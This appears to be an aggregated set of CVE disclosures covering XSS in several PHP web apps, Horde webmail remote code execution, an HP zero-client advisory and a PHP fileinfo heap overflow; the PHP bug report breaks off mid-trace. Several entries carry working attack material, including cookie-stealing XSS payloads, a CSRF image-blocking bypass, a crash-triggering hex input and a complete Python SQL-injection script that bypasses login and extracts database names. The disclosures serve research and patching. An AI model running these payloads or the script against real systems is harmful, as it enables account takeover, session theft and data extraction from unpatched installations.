Advanced School Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the address parameter at ip/school/index.php.

Permalink

**Advanced School Management System v1.0 by itsourcecode.com has Cross-site Scripting (XSS)**

**Vul\_Author**: **Congzhao Wen**

Login account: suarez081119@gmail.com/12345 (Super Admin account)

vendor: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/

Vulnerability url: ip/school/view/admin\_profile.php#

Vulnerability location: /school/index.php

\[+\] Payload: <script>alert(document.cookie)</script>

Tested on Windows 10, phpStudy

There is an example with alert:

POST /school/index.php HTTP/1.1
Host: 10.10.10.134:8000
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------168824386524487249392944698838
Content-Length: 1369
Origin: http://10.10.10.134:8000
DNT: 1
Connection: close
Referer: http://10.10.10.134:8000/school/view/admin\_profile.php
Cookie: PHPSESSID=vf7g6ffd2s4el0u0gia3elgg14
Upgrade-Insecure-Requests: 1
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="fileToUpload"; filename=""
Content-Type: application/octet-stream
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="full\_name"
Angel Jude Suarez
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="i\_name"
<script>alert(document.cookie)</script>
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="address"
Philippines
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="gender"
Male
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="email"
suarez081119@gmail.com
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="phone"
111-111-1114
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="password"
12345
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="id"
1
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="do"
update\_admin\_profile
\-----------------------------168824386524487249392944698838--
https://github.com/wencongzhao/bug\_report/blob/main/vendors/itsourcecode.com/advanced-school-management-system/xss.gif

CVE-2022-34580: bug_report/XSS-1.md at main · wencongzhao/bug_report

Horde Groupware Webmail Edition through 5.2.22 allows a reflection injection attack through which an attacker can instantiate a driver class. This then leads to arbitrary deserialization of PHP objects.

A webmail application enables organizations to host a centralized, browser-based email client for their members. Typically, users log into the webmail server with their email credentials, then the webmail server acts as a proxy to the organization's email server and allows authenticated users to view and send emails.

With so much trust being placed into webmail servers, they naturally become a highly interesting target for attackers. If a sophisticated adversary could compromise a webmail server, they can intercept every sent and received email, access password-reset links, and sensitive documents, impersonate personnel and steal all credentials of users logging into the webmail service.

This blog post discusses a vulnerability that the Sonar R&D team discovered in Horde Webmail. The vulnerability allows an attacker to fully take over an instance as soon as a victim opens an email the attacker sent. At the time of writing, no official patch is available.

**  
Impact**

The discovered code vulnerability (CVE-2022-30287) allows an authenticated user of a Horde instance to execute arbitrary code on the underlying server. 

The vulnerability can be exploited with a single GET request which can be triggered via Cross-Site-Request-Forgery.  For this, an attacker can craft a malicious email and include an external image that when rendered exploits the vulnerability without further interaction of a victim: the only requirement is to have a victim open the malicious email.

The vulnerability exists in the default configuration and can be exploited with no knowledge of a targeted Horde instance. We confirmed that it exists in the latest version. The vendor has not released a patch at the time of writing. 

Another side-effect of this vulnerability is that the clear-text credentials of the victim triggering the exploit are leaked to the attacker. The adversary could then use them to gain access to even more services of an organization. This is demonstrated in our video:

**  
Technical details**

In the following sections, we go into detail about the root cause of this vulnerability and how attackers could exploit it.

**  
Background - Horde Address Book configuration**

Horde Webmail allows users to manage contacts. From the web interface, they can add, delete and search contacts. Administrators can configure where these contacts should be stored and create multiple address books, each backed by a different backend server and protocol.

The following snippet is an excerpt from the default address book configuration file and shows the default configuration for an LDAP backend:

**turba/config/backends.php**

    $cfgSources['personal_ldap'] = array(
       // Disabled by default
       'disabled' => true,
       'title' => _("My Address Book"),
       'type' => 'LDAP',
       'params' => array(
           'server' => 'localhost',
           'tls' => false,
        // …

As can be seen, this LDAP configuration is added to an array of available address book backends stored in the $cfgSources array. The configuration itself is a key/value array containing entries used to configure the LDAP driver.

**CVE-2022-30287 - Lack of type checking in Factory class**

When a user interacts with an endpoint related to contacts, they are expected to send a string identifying the address book they want to use. Horde then fetches the corresponding configuration from the $cfgSources array and manages the connection to the address book backend.

The following code snippet demonstrates typical usage of this pattern:

**turba/merge.php**

     14 require_once __DIR__ . '/lib/Application.php';
     15 Horde_Registry::appInit('turba');
     16
     17 $source = Horde_Util::getFormData('source');
     18 // …
     19 $mergeInto = Horde_Util::getFormData('merge_into');
     20 $driver = $injector->getInstance('Turba_Factory_Driver')->create($source);
     21 // …
     30 $contact = $driver->getObject($mergeInto);

The code snippet above shows how the parameter $source is received and passed to the create() method of the Turba\_Factory\_Driver. Turba is the name of the address book component of Horde.

Things start to become interesting when looking at the create() method:

**turba/lib/Factory/Driver.php**

     51     public function create($name, $name2 = '', $cfgSources = array())
     52     {
     53     // …
     57         if (is_array($name)) {
     58             ksort($name);
     59             $key = md5(serialize($name));
     60             $srcName = $name2;
     61             $srcConfig = $name;
     62         } else {
     63             $key = $name;
     64             $srcName = $name;
     65             if (empty($cfgSources[$name])) {
     66                 throw new Turba_Exception(sprintf(_("The address book \"%s\" does not exist."), $name));
     67             }
     68             $srcConfig = $cfgSources[$name];
     69         }

On line 57, the type of the $name parameter is checked. This parameter corresponds to the previously shown $source parameter. If it is an array, it is used directly as a config by setting it to $srcConfig variable. If it is a string, the global $cfgSources is accessed with it and the corresponding configuration is fetched.

This behavior is interesting to an attacker as Horde expects a well-behaved user to send a string, which then leads to a trusted configuration being used. However, there is no type checking in place which could stop an attacker from sending an array as a parameter and supplying an entirely controlled configuration.

Some lines of code later, the create() method dynamically instantiates a driver class using values from the attacker-controlled array:

**turba/lib/Factory/Driver.php**

     75  $class = 'Turba_Driver_' . ucfirst(basename($srcConfig['type']));
     76	// …
    112  $driver = new $class($srcName, $srcConfig['params']);

With this level of control, an attacker can choose to instantiate an arbitrary address book driver and has full control over the parameters passed to it, such as for example the host, username, password, file paths etc.

**  
Instantiating a driver that enables an attacker to execute arbitrary code**

The next step for an attacker would be to inject a driver configuration that enables them to execute arbitrary code on the Horde instance they are targeting.

We discovered that Horde supports connecting to an IMSP server, which uses a protocol that was drafted in 1995 but never finalized as it was superseded by the ACAP protocol. When connecting to this server, Horde fetches various entries. Some of these entries are interpreted as PHP serialized objects and are then unserialized. 

The following code excerpt from the \_read() method of the IMSP driver class shows how the existence of a \_\_members entry is checked. If it exists, it is deserialized:

**turba/lib/Driver/Imsp.php**

    223   if (!empty($temp['__members'])) {
    224      $tmembers = @unserialize($temp['__members']);
    225   }

Due to the presence of viable PHP Object Injection gadgets discovered by Steven Seeley, an attacker can force Horde to deserialize malicious objects that lead to arbitrary code execution.

**  
Exploiting the vulnerability via CSRF**

By default, Horde blocks any images in HTML emails that don't have a data: URI. An attacker can bypass this restriction by using the HTML tags <picture> and <source>. A <picture> tag allows developers to specify multiple image sources that are loaded depending on the dimensions of the user visiting the site. The following example bypasses the blocking of external images:

    <picture>
      <source media="(min-width:100px)" srcset="../../?EXPLOIT">
      <img src="blocked.jpg" alt="Exploit image" style="width:auto;">
    </picture>

**Patch**

At the time of writing, no official patch is available. As Horde seems to be no longer actively maintained, we recommend considering alternative webmail solutions.  

**Timeline**

Date

Action

2022-02-02

We report the issue to the vendor and inform about our 90 disclosure policy

2022-02-17

We ask for a status update.

2022-03-02

Horde releases a fix for a different issue we reported previously and acknowledge this report.

2022-05-03

We inform the vendor that the 90-day disclosure deadline has passed

**  
Summary**

In this blog post, we described a vulnerability that allows an attacker to take over a Horde webmail instance simply by sending an email to a victim and having the victim read the email. 

The vulnerability occurs in PHP code, which is typically using dynamic types. In this case, a security-sensitive branch was entered if a user-controlled variable was of the type array. We highly discourage developers from making security decisions based on the type of a variable, as it is often easy to miss language-specific quirks.

**Related Blog Posts**

*   RainLoop Webmail - Emails at Risk due to Code Flaw
*   Horde Webmail 5.2.22 - Account Takeover via Email
*   Zimbra 8.8.15 - Webmail Compromise via Email

CVE-2022-30287: Horde Webmail - Remote Code Execution via Email

The Email Viewer in RainLoop through 1.6.0 allows XSS via a crafted email message.

RainLoop is an open-source webmail client used by thousands of organizations to exchange sensitive messages and files via email. In this blog post, we are warning RainLoop users about a code vulnerability that allows attackers to steal emails from the inboxes of victims. At the time of writing, no official patch is available.

The code vulnerability described in this blog post can be easily exploited by an attacker by sending a malicious email to a victim that uses RainLoop as a mail client. When the email is viewed by the victim, the attacker gains full control over the session of the victim and can steal any of their emails, including those that contain highly sensitive information such as passwords, documents, and password reset links. Let's have a look what happened and what we can learn from it.  

**Impact**

The discovered code flaw is a Stored Cross-Site-Scripting vulnerability (CVE-2022-29360) that affects the latest version v1.16.0 of RainLoop. At the time of writing, no official patch is available. The vulnerability can be exploited in any RainLoop installation that runs with default configurations. An attacker who knows the email address of an employee of a targeted organization can send the victim a maliciously crafted email. When it is viewed in the webmail interface, it executes a hidden JavaScript payload in the browser of the victim. No further user interaction is required.

**  
Technical Details**

In the following sections, we go into detail about the Stored Cross-Site-Scripting vulnerability and how gadgets were abused to make JavaScript run automatically once a victim views a malicious email.

**  
Stored XSS in the email body (CVE-2022-29360)**

RainLoop’s backend is a PHP application that acts as a proxy between a user and their mail server. Similar to mail clients, such as Thunderbird, it enables a user to log into a mail server, fetch emails, view them, and send emails. 

**  
Sanitization Logic**

As RainLoop is a web application, it needs to render incoming emails to HTML code. It also needs to ensure that the rendered HTML code has been validated and does not contain malicious components (e.g. unsafe links, JavaScript tags).

On a high level, RainLoop deploys the following flow to achieve this:

1.  Receive the raw, untrusted HTML code from the mail server
2.  Create an instance of the built-in DOMDocument class in PHP. This parses HTML into a tree structure of HTML elements and their attributes
3.  Depending on the configuration, use an allow or deny list to remove any dangerous contents in the tree structure
4.  Convert the sanitized tree structure of the DOMDocument into HTML code

Intuitively it makes sense to analyze the code that attempts to remove any dangerous HTML code (step 3 in the above’s list) and find a weakness inside of that code to bypass the sanitizer. However, our experience has shown there are often logic bugs **after** the sanitization steps have been performed. From the security researcher's point of view, they are much easier to spot and are often overlooked by developers: for good examples of previous findings using this pattern, see Zimbra Stored XSS and WordPress CSRF to RCE.

We mentioned that the 4th step converts the tree structure of the DOMDocument into HTML code. Usually, this step is trivial as the DOMDocument class has the built-in saveHTML() method which does exactly what is required.

**  
Faking a HTML <body>**

One last problem must be solved before the sanitized HTML code can be rendered to the user: due to normalization performed by the DOMDocument class, the HTML code saveHTML() emits contains <html> and <body> tags.  Although this is perfectly valid and harmless, the front end page of RainLoop that renders the email already contains <html> and <body> tags.

Additionally, <body> tags might contain important attributes such as styles and classes that must be preserved. RainLoop solves these problems by parsing the attributes from the <body> tag of the email structure and then wrapping the HTML code of the email in a fake body that contains the original <body> attributes.

In the following paragraphs, we will describe how this process works in RainLoop, show the corresponding code snippets and finally describe a logic flaw in this process that leads to a Stored XSS vulnerability.

In the first step, RainLoop fetches references to the <html> and <body> nodes from the tree structure and then calls saveHTML() on all children to get the sanitized HTML code without <html> and <body> tags:

 **rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     222    $oHtml = $oDom->getElementsByTagName('html')->item(0);
     223    $oBody = $oDom->getElementsByTagName('body')->item(0);
     224 
     225    foreach ($oBody->childNodes as $oChild)
     226    {
     227        $sResult .= $oDom->saveHTML($oChild);
     228    }

In the next step, the attributes of the <html> node are fetched and added to a newly created <div> tag to simulate the <html> tag:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     232    $aHtmlAttrs = HtmlUtils::GetElementAttributesAsArray($oHtml);
     233    $aBodylAttrs = HtmlUtils::GetElementAttributesAsArray($oBody);
     234 
     235    $oWrapHtml = $oDom->createElement('div');
     236    $oWrapHtml->setAttribute('data-x-div-type', 'html');
     237    foreach ($aHtmlAttrs as $sKey => $sValue)
     238    {
     239        $oWrapHtml->setAttribute($sKey, $sValue);
     240    }

This process is repeated for the <body> tag, but with an important difference: The <div> tag that is created to preserve the <body> attributes is created with the text content \_\_\_xxx\_\_\_. This fake <body> is then appended to the fake <html> node and dumped to HTML code:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     242    $oWrapDom = $oDom->createElement('div', '___xxx___');
     243    $oWrapDom->setAttribute('data-x-div-type', 'body');
     244    foreach ($aBodylAttrs as $sKey => $sValue)
     245    {
     246        $oWrapDom->setAttribute($sKey, $sValue);
     247    }
     248 
     249    $oWrapHtml->appendChild($oWrapDom);
     250 
     251    $sWrp = $oDom->saveHTML($oWrapHtml);

Let’s walk through this code with an example. Let’s assume an attacker sent the following email:

    <html>
    <body data-some-attr="abc">
        <h1>Hello!</h1>
        <p>wehope you are doing good!</p>
    </body>
    </html>

The process we described thus far would then yield the following HTML code, stored in the $sWrp variable:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            ___xxx___
        </div>
    </div>

In the final step, the rest of the email is inserted in the wrapping code above. This is done by replacing the \_\_\_xxx\_\_\_ inside of the fake wrapping body with the previously generated HTML code:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     252    $sResult = \str_replace('___xxx___', $sResult, $sWrp);

This would finally yield the following HTML code:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            <h1>Hello!</h1>
            <p>I hope you are doing good!</p>
        </div>
    </div>

**  
The Logic Bug**

As an attacker can control the attributes of a <body> tag and their values, they could create a <body> tag with an attribute value of \_\_\_xxx\_\_\_.

This could, for example, result in the following HTML markup:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="___xxx___">
            ___xxx___
        </div>
    </div>

As str\_replace() replaces the \_\_\_xxx\_\_\_ string as many times as it can find, an attacker can insert controlled user input into the quoted value of the data-some-attr. Let’s assume an attacker crafted an email as follows:

    <body data-some-attr="___xxx___">
    <div title="x onclick='alert(document.cookie);//' y">
        XSS PoC
    </div>
    </body>

In this case, the HTML markup would result in the following after replacing \_\_\_xxx\_\_\_ with the rest of the HTML code:

    <body data-some-attr="<div title="x onclick='alert(document.cookie);//' y">
    XSS PoC
    </div>">

**  
Patch**

At the time of writing, no official patch is available. We recommend the RainLoop fork SnappyMail. It has great security improvements and is actively maintained. We would like to thank the maintainers of this fork for their quick response and analysis of this issue. They confirmed to us that they are not affected. For this reason, we recommend users of RainLoop migrate to SnappyMail in the long term.

To help in the short term, we encourage users to apply the following inofficial patch that we developed (please carefully use at your own risk):

    --- /tmp/HtmlUtils.php  2022-04-11 09:34:35.000000000 +0200
    +++ rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php    2022-04-11 09:35:12.000000000 +0200
    @@ -239,7 +239,8 @@
                   $oWrapHtml->setAttribute($sKey, $sValue);
               }
    -           $oWrapDom = $oDom->createElement('div', '___xxx___');
    +           $rand_str = base64_encode(random_bytes(32));
    +           $oWrapDom = $oDom->createElement('div', $rand_str);
               $oWrapDom->setAttribute('data-x-div-type', 'body');
               foreach ($aBodylAttrs as $sKey => $sValue)
               {
    @@ -250,7 +251,7 @@
               $sWrp = $oDom->saveHTML($oWrapHtml);
    -           $sResult = \str_replace('___xxx___', $sResult, $sWrp);
    +           $sResult = \str_replace($rand_str, $sResult, $sWrp);
           }
           $sResult = \str_replace(\MailSo\Base\HtmlUtils::$KOS, ':', $sResult);

In order to use this patch:

1.  Create a backup of your RainLoop files!
2.  Upload the patch file contents above to a file called rainloop\_xss.patch and store it in the root directory of your RainLoop installation
3.  Run the following command:

    patch rainloop/v/1.13.0/app/libraries/MailSo/Base/HtmlUtils.php < rainloop_xss.patch

**Please note that your path may vary, depending on the version of RainLoop you use. In the example above, version 1.13.0 is used. Make sure to use the correct version in your path.  
**

**Timeline**

Date

Action

2021-11-30

We request a security contact by contacting support@rainloop.net. No response

2021-12-06

We request a security contact by creating a GitHub issue. No response

2022-01-03

We contact the vendor via email and the GitHub issue and inform them of our 90-day disclosure policy. No response

**Summary**

In this blog post, we analyzed a Persistent Cross-Site-Scripting vulnerability in RainLoop that triggers when a victim views a maliciously crafted email. The vulnerability occurred due to a logic bug **after** the sanitization process, which is often overlooked by security audits. We have found similar bugs in high-profile targets such as Zimbra and WordPress. In general, we recommend developers to not modifying any data after it has been sanitized, as any modification could reverse the sanitization step. Additionally, it is recommended to work with a DOM tree object, rather than operating on HTML text, as this leaves much more room for mistakes.  

**Related Blog Posts**

*   WordPress CSRF to RCE
*   MyBB From Stored XSS to RCE
*   Zimbra Webmail compromise via email
*   SmartStore.net Malicious message leading to eCommerce takeover

CVE-2022-29360: RainLoop Webmail - Emails at Risk due to Code Flaw

When connecting to Amazon Workspaces, the SHA256 presented by AWS connection provisioner is not fully verified by Zero Clients. The issue could be exploited by an adversary that places a MITM (Man in the Middle) between a zero client and AWS session provisioner in the network. This issue is only applicable when connecting to an Amazon Workspace from a PCoIP Zero Client.

HP has provided updated versions of Tera2 Zero Client firmware that remediate vulnerabilities found in firmware version 22.04 and earlier.

Severity

High

HP Reference

HPSBHF03794 Rev. 1

Release date

July 12, 2022

Last updated

July 12, 2022

Category

Teradici

Potential Security Impact

When connecting to Amazon Workspaces, the SHA256 presented by AWS connection provisioner is not fully verified by Zero Clients. The issue could be exploited by an adversary that places a MITM (Man in the Middle) between a zero client and AWS session provisioner in the network. This issue is only applicable when connecting to an Amazon Workspace from a PCoIP Zero Client.

**Relevant Common Vulnerabilities and Exposures (CVE) List**

Reported by: HP Teradici

List of CVE IDs    

CVE ID

CVSS

Severity

Vector

CVE-2022-1805

7.5

High

CVSS3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Learn more about CVSS 3.1 base metrics, which range from 0 to 10.

PSR-2022-0059

**Resolution**

Products can be updated or replaced with the latest release by downloading from the Teradici website and following standard installation or update instructions:

**Downloads**

*   Zero Client Firmware 22.04.1
    
    *   https://docs.teradici.com/find/product/zero-clients/2022.04/zero-client-firmware
        
    
*   Zero Client Firmware 22.01.5
    
    *   https://docs.teradici.com/find/product/zero-clients/2022.01/zero-client-firmware
        
    

**Update or installation instructions**

*   Zero Client Firmware 22.04.1
    
    *   https://teradici.com/web-help/pcoip\_zero\_client/tera2/22.04/uploading\_firmware
        
    
*   Zero Client Firmware 22.01.5
    
    *   https://teradici.com/web-help/pcoip\_zero\_client/tera2/22.01/uploading\_firmware
        
    

**Affected products**

Identify the affected products.

Affected products    

Product Name

Updated version

Status

Zero Client Firmware

22.01.5

Released May 19, 2022

Zero Client Firmware

22.04.1 and later

Released May 19, 2022

**Revision history**

This document has been revised according to the information below.

List of versions   

Version

Description

Date

1

Initial Release

July 7, 2022

**Additional information**

Follow these links for additional information.

Third-party security patches

Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.

Support

For issues about implementing the recommendations of this Security Bulletin, visit http://www.hp.com/go/contacthp to learn about your HP support options.

Report

To report a potential security vulnerability with any HP supported product, send email to: hp-security-alert@hp.com.

Subscribe

To initiate a subscription to receive future HP Security Bulletin alerts via email, visit https://h41369.www4.hp.com/alerts-signup.php?lang=en&cc=US&jumpid=hpsc\_profile.

Security bulletin archive

To view released Security Bulletins, visit https://support.hp.com/security-bulletins.

It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.

Download HP’s security-alert PGP key

**Legal information**

System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.

HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Security Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Security Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement.

© Copyright 2022 HP Development Company, L.P.

HP Inc. (HP) shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP nor its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. "HP Inc.," "HP" and the names of HP products referenced herein are trademarks of HP Inc. or its affiliates in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.

CVE-2022-1805: AWS Connection Session Provisioner’s SHA256 hash is not fully verified by PCoIP Zero Clients

In kippo-graph before version 1.5.1, there is a cross-site scripting vulnerability in xss_clean() in class/KippoInput.class.php.

@@ -444,7 +444,7 @@ public function printWgetCommands() echo '<td>' . $counter . '</td>'; echo '<td>' . $row\['timestamp'\] . '</td>'; echo '<td>' . xss\_clean($row\['input'\]) . '</td>'; $file\_link = explode(" ", trim($row\['file'\]))\[0\]; $file\_link = explode(" ", trim(xss\_clean($row\['file'\])))\[0\]; // If the link has no "http://" in front, then add it if (substr(strtolower($file\_link), 0, 4) !== 'http') { $file\_link = 'http://' . $file\_link;

CVE-2016-2138: Block XSS in wget commands (file links) · ikoniaris/kippo-graph@e6587ec

Loan Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Loan Management System - Stored XSS on several parameters# Date: 28/07/2022# Exploit Author: saitamang# Vendor Homepage: sourcecodester# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip# Version: 1.0# Tested on: Centos 7 apache2 + MySQLThere are several functions and parameter affected as below:addUser.php- firstname- lastnamesave_ltype.php- ltype_name- ltype_descsave_borrower.php- firstname- middlename- lastname- addressThe payload use to inject is "/><svg/onload=alert(document.cookie)>

Loan Management System 1.0 Cross Site Scripting

Loan Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    # Exploit Title: Loan Management System - SQL Injection via login page# Date: 28/07/2022# Exploit Author: saitamang# Vendor Homepage: sourcecodester# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip# Version: 1.0# Tested on: Centos 7 apache2 + MySQL# The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.# Payload --> 'or 2=2## The python script to get the database name from SQL Injection Vulnerability can be execute below.import requests, string, sys, warnings, time, concurrent.futuresfrom requests.packages.urllib3.exceptions import InsecureRequestWarningwarnings.simplefilter('ignore',InsecureRequestWarning)dbname = ''req = requests.Session()def login(ip,username,password):      target = "http://%s/LMS/login.php" %ip    data = {'username': username,'password':password, 'login':''}    response = req.post(target, data=data)    if 'Login Successful' in response.text:        print("[$] Success Login with credentials "+username+":"+password+"")    else:        print("[$] Failed Login with credentials "+username+":"+password+"")def check_injection():    # library inj    test_query0 = "'or 1=2#"    test_query1 = "'or 2=2#"    target = "http://%s/LMS/login.php" %ip    result = ""    for i in range(2):        if i==0:            data = {'username': test_query0,'password':password, 'login':''}            response = req.post(target, data=data)            if response.text=="success":                result = response.text            else:                pass        if i==1:            data = {'username': test_query1,'password':password, 'login':''}            response = req.post(target, data=data)            if response.text=="success":                result = response.text            else:                pass    if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":        print("[##] SQLI Boolean-Based Present at password field :)")    else:        print("[##] No SQLI :)")def brute(dbname,password):    target = "http://%s/LMS/login.php" %ip    l=0    # checking length of dbname star with i = 1    for i in (n+1 for n in range(9)):        payload = "'or 2=2 and length(database())='"+ str(i) +"'#"        #print(payload)            data = {'username': payload,'password':password, 'login':''}        response = req.post(target, data=data)        result = response.text        #print(result)        if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":            print("[##] The correct length of DB name is "+str(i))            l=i            break        else:            print("[##] The length of DB name "+str(i)+" is wrong")            pass    char = [char for char in string.ascii_lowercase]    char.append('_')    #print(char)    dbname = []    for i in range(l):        for j in char:            payload = "'or 2=2 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"                        data = {'username': payload,'password':password, 'login':''}            response = req.post(target, data=data)            result = response.text            #print(payload)            #print(result)            if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":                dbname.append(j)                print("[+] The " + str(i+1) + " char of DB name is "+str(j))                break            else:                pass    dbname = ''.join(dbname)        print("[+] Database name retrieved --> "+dbname)    print("[+] Bypass completed :)")    print("[+] Bypass payload can be used is \n'or 2=2#")    username = "'or 2=2#"    print("\nRetry to login with new payload in password field")    login(ip,username,password)if __name__ == "__main__":    print("   _____       _ __                                   ")    print("  / ___/____ _(_) /_____ _____ ___  ____ _____  ____ _")    print("  \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")    print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")    print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, /  ")    print("                                             /____/   \n\n")    try:        ip = sys.argv[1].strip()        username = sys.argv[2].strip()        password = sys.argv[3].strip()        login(ip,username,password)        check_injection()        brute(dbname,password)            except IndexError:        print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])        print("[-] Example: %s 192.168.149.130 admin admin123" % sys.argv[0])    sys.exit(-1)

Loan Management System 1.0 SQL Injection

In PHP versions 8.1.x below 8.1.8, when fileinfo functions, such as finfo_buffer, due to incorrect patch applied to the third party code from libmagic, incorrect function may be used to free allocated memory, which may lead to heap corruption.

Sec Bug #81723

Heap buffer overflow in finfo\_buffer

Submitted:

2022-06-27 22:59 UTC

Modified:

2022-07-05 07:05 UTC

From:

xd4rker at gmail dot com

Assigned:

stas (profile)

Status:

Closed

Package:

Filesystem function related

PHP Version:

8.1.7

OS:

Linux

Private report:

No

CVE-ID:

2022-31627

 **\[2022-06-27 22:59 UTC\] xd4rker at gmail dot com**

Description:
------------
The following content is causing a heap-based buffer overflow in finfo\_buffer. This was found using AFL++.

00000000  00 01 8a 75 70 00 10 97  db 97 97 98 97 97 7d 87  |...up.........}.|
00000010  97 97 97 00 00 92 00 1f  00 51 00 00 00 00 00 00  |.........Q......|
00000020  00 00 00 ff ff 7f ff 00  00 00 00 00 1e 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 0c 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  dc 00 00 00 01 00 00 00  |................|
00000050  00 00 00 00 00 4f 01 19  00 00 7f 00 00 00 00 00  |.....O..........|
00000060  18 00 39 00 00 00 00 00  00 00 00 00 00 00 00 00  |..9.............|
00000070  00 00 dc 00 00 00 01 00  00 00 00 00 00 00 00 4f  |...............O|
00000080  01 19 00 00 7f 00 00 f5  00 00 00 00 ee ff 00 00  |................|
00000090  00 00 00 00 00 00 01 00  00 fd 00                 |...........|

Tested against PHP >= 8.1.

ASAN output:

==4777==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e000000000 at pc 0x000000faba20 bp 0x7ffc087ab460 sp 0x7ffc087ab458
READ of size 8 at 0x60e000000000 thread T0
    #0 0xfaba1f in zend\_mm\_realloc\_heap /home/user/php-src/Zend/zend\_alloc.c:1561:3
    #1 0xfaba1f in \_erealloc /home/user/php-src/Zend/zend\_alloc.c:2582:9
    #2 0xa94368 in file\_check\_mem /home/user/php-src/ext/fileinfo/libmagic/funcs.c:623:14
    #3 0xa9f566 in match /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:458:9
    #4 0xaa2748 in file\_softmagic /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:138:13
    #5 0xaa2748 in mget /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:1836:8
    #6 0xa9f04c in match /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:360:12
    #7 0xaa49b2 in mget /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:1885:8
    #8 0xa9f04c in match /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:360:12
    #9 0xa9e37e in file\_softmagic /home/user/php-src/ext/fileinfo/libmagic/softmagic.c:138:13
    #10 0xa93762 in file\_buffer /home/user/php-src/ext/fileinfo/libmagic/funcs.c:459:7
    #11 0xa98c42 in magic\_buffer /home/user/php-src/ext/fileinfo/libmagic/magic.c:273:6
    #12 0xa6eb87 in \_php\_finfo\_get\_type /home/user/php-src/ext/fileinfo/fileinfo.c:346:23
    #13 0x12947cd in ZEND\_DO\_ICALL\_SPEC\_RETVAL\_UNUSED\_HANDLER /home/user/php-src/Zend/zend\_vm\_execute.h:1250:2
    #14 0x114f0a9 in execute\_ex /home/user/php-src/Zend/zend\_vm\_execute.h:55687:7
    #15 0x114f93c in zend\_execute /home/user/php-src/Zend/zend\_vm\_execute.h:60251:2
    #16 0x1071860 in zend\_eval\_stringl /home/user/php-src/Zend/zend\_execute\_API.c:1271:4
    #17 0x1071e15 in zend\_eval\_stringl\_ex /home/user/php-src/Zend/zend\_execute\_API.c:1313:11
    #18 0x1071e15 in zend\_eval\_string\_ex /home/user/php-src/Zend/zend\_execute\_API.c:1323:9
    #19 0x153f8ff in do\_cli /home/user/php-src/sapi/cli/php\_cli.c:998:5
    #20 0x153dae0 in main /home/user/php-src/sapi/cli/php\_cli.c:1336:18
    #21 0x7f612802e082 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x24082)
    #22 0x602b6d in \_start (/home/user/php-src-8.1/sapi/cli/php+0x602b6d)

0x60e000000000 is located 64 bytes to the left of 154-byte region \[0x60e000000040,0x60e0000000da)
allocated by thread T0 here:
